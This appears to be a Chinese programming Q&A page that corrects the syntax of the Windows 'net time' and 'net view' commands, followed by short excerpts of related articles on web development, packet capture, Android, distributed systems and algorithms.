答:答案很簡單,你的命令錯了,應該是 net time \\ip


沒輸入 ip 地址,當然找不到服務器。 view 的命令也應該有 ip 地址,即: net view \\ip

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/387585.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/387585.shtml
英文地址,請注明出處:http://en.pswp.cn/news/387585.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

項目復盤

前言 最近一年半多一直在做一個CMS項目&#xff0c;做了快兩年了也沒有上線&#xff0c;而且開發還走了不少&#xff0c;其中有不少原因是因為開發中頻繁改動需求導致開發人員失去耐心&#xff0c;但是其中還有一個重要的原因就是架構設計的不好&#xff0c;導致很多服務的邊界…

父、子頁面之間頁面元素的獲取,方法的調用

一、在iframe頁面上調取父級頁面元素 1.在父頁面上獲取iframe頁面元素(在父頁面修改子頁面div的背景色為紅色) js代碼如下&#xff1a; 1 <script type"text/javascript"> 2 window.onload function(){ 3 var iframe document.getElementById(iframeId)…

fiddler,他和其他抓包軟件有什么區別,如何使用fiddler進行抓包

前言&#xff1a;本文章是搭配《批量獲取微信公眾號》一文&#xff0c;介于群里朋友很熱情&#xff0c;我就趁著上班測完bug 來撰寫該文章&#xff0c;那么讀完本文&#xff0c;你會學習到什么呢&#xff1f; 什么是fiddler&#xff0c;他和其他抓包軟件有什么區別&#xff0c…

Vue導入非模塊化的第三方插件功能無效解決方案

一、問題&#xff1a; 最近在寫vue項目時&#xff0c;想引入某些非模塊化的第三方插件時&#xff0c;總是發現會有報錯。且在與本地運行插件測試對比時發現插件根本沒有注入到jQuery中&#xff08;console.log($.fn)查看當前jq有哪些方法&#xff09;&#xff0c;例如&#xff…

ES6筆記 -- 字符串拓展

字符串拓展 Unicode 相關 JS 允許使用/uxxxx的Unicode方式顯示字符, 但是只限于碼點在/u0000~/uFFFF之間, 超過該范圍的碼點必須用雙字節形式表示ES6 中, 將碼點放入大括號內, 就可以解讀JS 不能處理4個字節的字符, 字符串長度會被誤判為2ES6 提供了codePointAt方法, 能夠正確處…

android 轉發短信

通過這些代碼也可以對遠程手機實現短信控制。有興趣的可以自己改一下&#xff0c;說一下簡單的原理&#xff0c;要實現控制的話&#xff0c;必須得走一個固定的號碼&#xff0c;固定的格式&#xff0c;然后通過得到此號碼的內容&#xff0c;然后通過固定的內容&#xff0c;就可…

[Noi2016]區間

傳送門 Code /* 線段樹 尺取法 */ #include<bits/stdc.h> #define ll long long #define max(a,b) ((a)>(b)?(a):(b)) #define min(a,b) ((a)>(b)?(b):(a)) #define reg register inline int read() {int x0,f1;char chgetchar();while(ch<0||ch>9){if(…

安裝CentOS6.8并配置網絡圖文解說親測全過程

安裝環境&#xff1a; 本文是在win10系統安裝上VMWare并配置Centos6.8虛擬機。 準備工作 1.安裝VMWare虛擬機 1.1下載VMWare12資源鏈接&#xff1a;https://pan.baidu.com/s/1AhfMSDXLO-aA0eMqnuMWHg 提取碼&#xff1a;iftd 1.2安裝VMWare&#xff0c;在安裝過程中需要輸入密鑰…

Paxos算法是萊斯利·蘭伯特(Leslie Lamport)1990年提出的一種基于消息傳遞的一致性算法。

Paxos算法是萊斯利蘭伯特(Leslie Lamport)1990年提出的一種基于消息傳遞的一致性算法。Paxos算法解決的問題是一個分布式系統如何就某個值&#xff08;決議&#xff09;達成一致。在工程實踐意義上來說&#xff0c;就是可以通過Paxos實現多副本一致性&#xff0c;分布式鎖&…

09、策略模式

2019獨角獸企業重金招聘Python工程師標準>>> 策略模式與工廠模式最大的區別在于&#xff0c;策略模式注重的是對算法的維護&#xff0c;也可以理解為對算法的封裝。而工廠模式&#xff0c;則只是負責創建類&#xff0c;在剛接觸策略模式時候&#xff0c;往往與工廠模…

Linux創建、刪除文件和文件夾命令

https://www.cnblogs.com/c-x-m/p/9794082.html轉載于:https://www.cnblogs.com/sun-ldy/p/10279025.html

Java編寫代理服務器(Burp攔截Demo)一

大家都知道大名鼎鼎的BurpSuite代理神器&#xff0c;對于抓取HTTP請求非常好用&#xff0c;偶然&#xff0c;一朋友問我Java應該如何去編寫代理服務器&#xff08;因為他想做某些東西&#xff09;&#xff0c;有沒有相關的API 去實現&#xff0c;我想說&#xff0c;差不多你能想…

mysql實戰33 | 我查這么多數據,會不會把數據庫內存打爆?

我經常會被問到這樣一個問題&#xff1a;我的主機內存只有 100G&#xff0c;現在要對一個 200G 的大表做全表掃描&#xff0c;會不會把數據庫主機的內存用光了&#xff1f;這個問題確實值得擔心&#xff0c;被系統 OOM&#xff08;out of memory&#xff09;可不是鬧著玩的。但…

[BZOJ2125]最短路

Description 給一個N個點M條邊的連通無向圖&#xff0c;滿足每條邊最多屬于一個環&#xff0c;有Q組詢問&#xff0c;每次詢問兩點之間的最短路徑。 Input 輸入的第一行包含三個整數&#xff0c;分別表示N和M和Q 下接M行&#xff0c;每行三個整數v&#xff0c;u&#xff0c;w表…

Rabbit MQ windows下安裝

Rabbit MQ 是建立在強大的Erlang OTP平臺上&#xff0c;因此安裝Rabbit MQ的前提是安裝Erlang。通過下面兩個連接可以下載安裝最新的版本&#xff1a; 下載并安裝 Eralng OTP For Windows otp_win64_18.3.exe&#xff08;erlang的環境&#xff09;運行安裝 Rabbit MQ Serve…

spark集群配置以及java操作spark小demo

spark 安裝配置使用java來操作sparkspark 安裝 tar -zxvf spark-2.4.0-bin-hadoop2.7.tgz rm spark-2.4.0-bin-hadoop2.7.tgz mv spark-2.4.0-bin-hadoop2.7 sparksudo vim /etc/profileexport SPARK_HOME/usr/local/stormexport PATH$PATH:$SPARK_HOME/binsource /etc/profile…

C++筆記(3)——string.h相關的一些小知識

strlen() 用于得到字符數組中第一個\0前的字符的個數&#xff0c;格式如下&#xff1a; strlen(數組); 例子&#xff1a; #include <stdio.h> #include <string.h>int main(){char str[10];gets(str);int len strlen(str);printf("%d\n", len);return 0…

最近發現系統rabbitmq丟消息比較嚴重,于是想了些方案來查找原因,給將消息發送方式添加確認機制。 我們在本地模擬了wms發送打標消息的場景. 1. 有事務 2. 先發點對點隊列, 再發訂

最近發現系統rabbitmq丟消息比較嚴重&#xff0c;于是想了些方案來查找原因&#xff0c;給將消息發送方式添加確認機制。 我們在本地模擬了wms發送打標消息的場景. 1. 有事務 2. 先發點對點隊列, 再發訂閱隊列 3. 批量發送 4. 在生產環境與測試環境的RabbitMQ都進行了測試 …

uoj#388. 【UNR #3】配對樹(線段樹合并)

傳送門 先考慮一個貪心&#xff0c;對于一條邊來說&#xff0c;如果當前這個序列中在它的子樹中的元素個數為奇數個&#xff0c;那么這條邊就會被一組匹配經過&#xff0c;否則就不會 考慮反證法&#xff0c;如果在這條邊兩邊的元素個數都是偶數&#xff0c;那么至少有兩組匹配…

一道Js判斷對象是否相等面試題引發的故事

話說&#xff0c;說什么呢&#xff0c;先看下題吧還是、 function checkName(data) { if (data { name: LIMING }) { console.log("one"); 復制代碼 } else if (data { name: LIMING }) { console.log(two"); 復制代碼 } else { console.log("three&quo…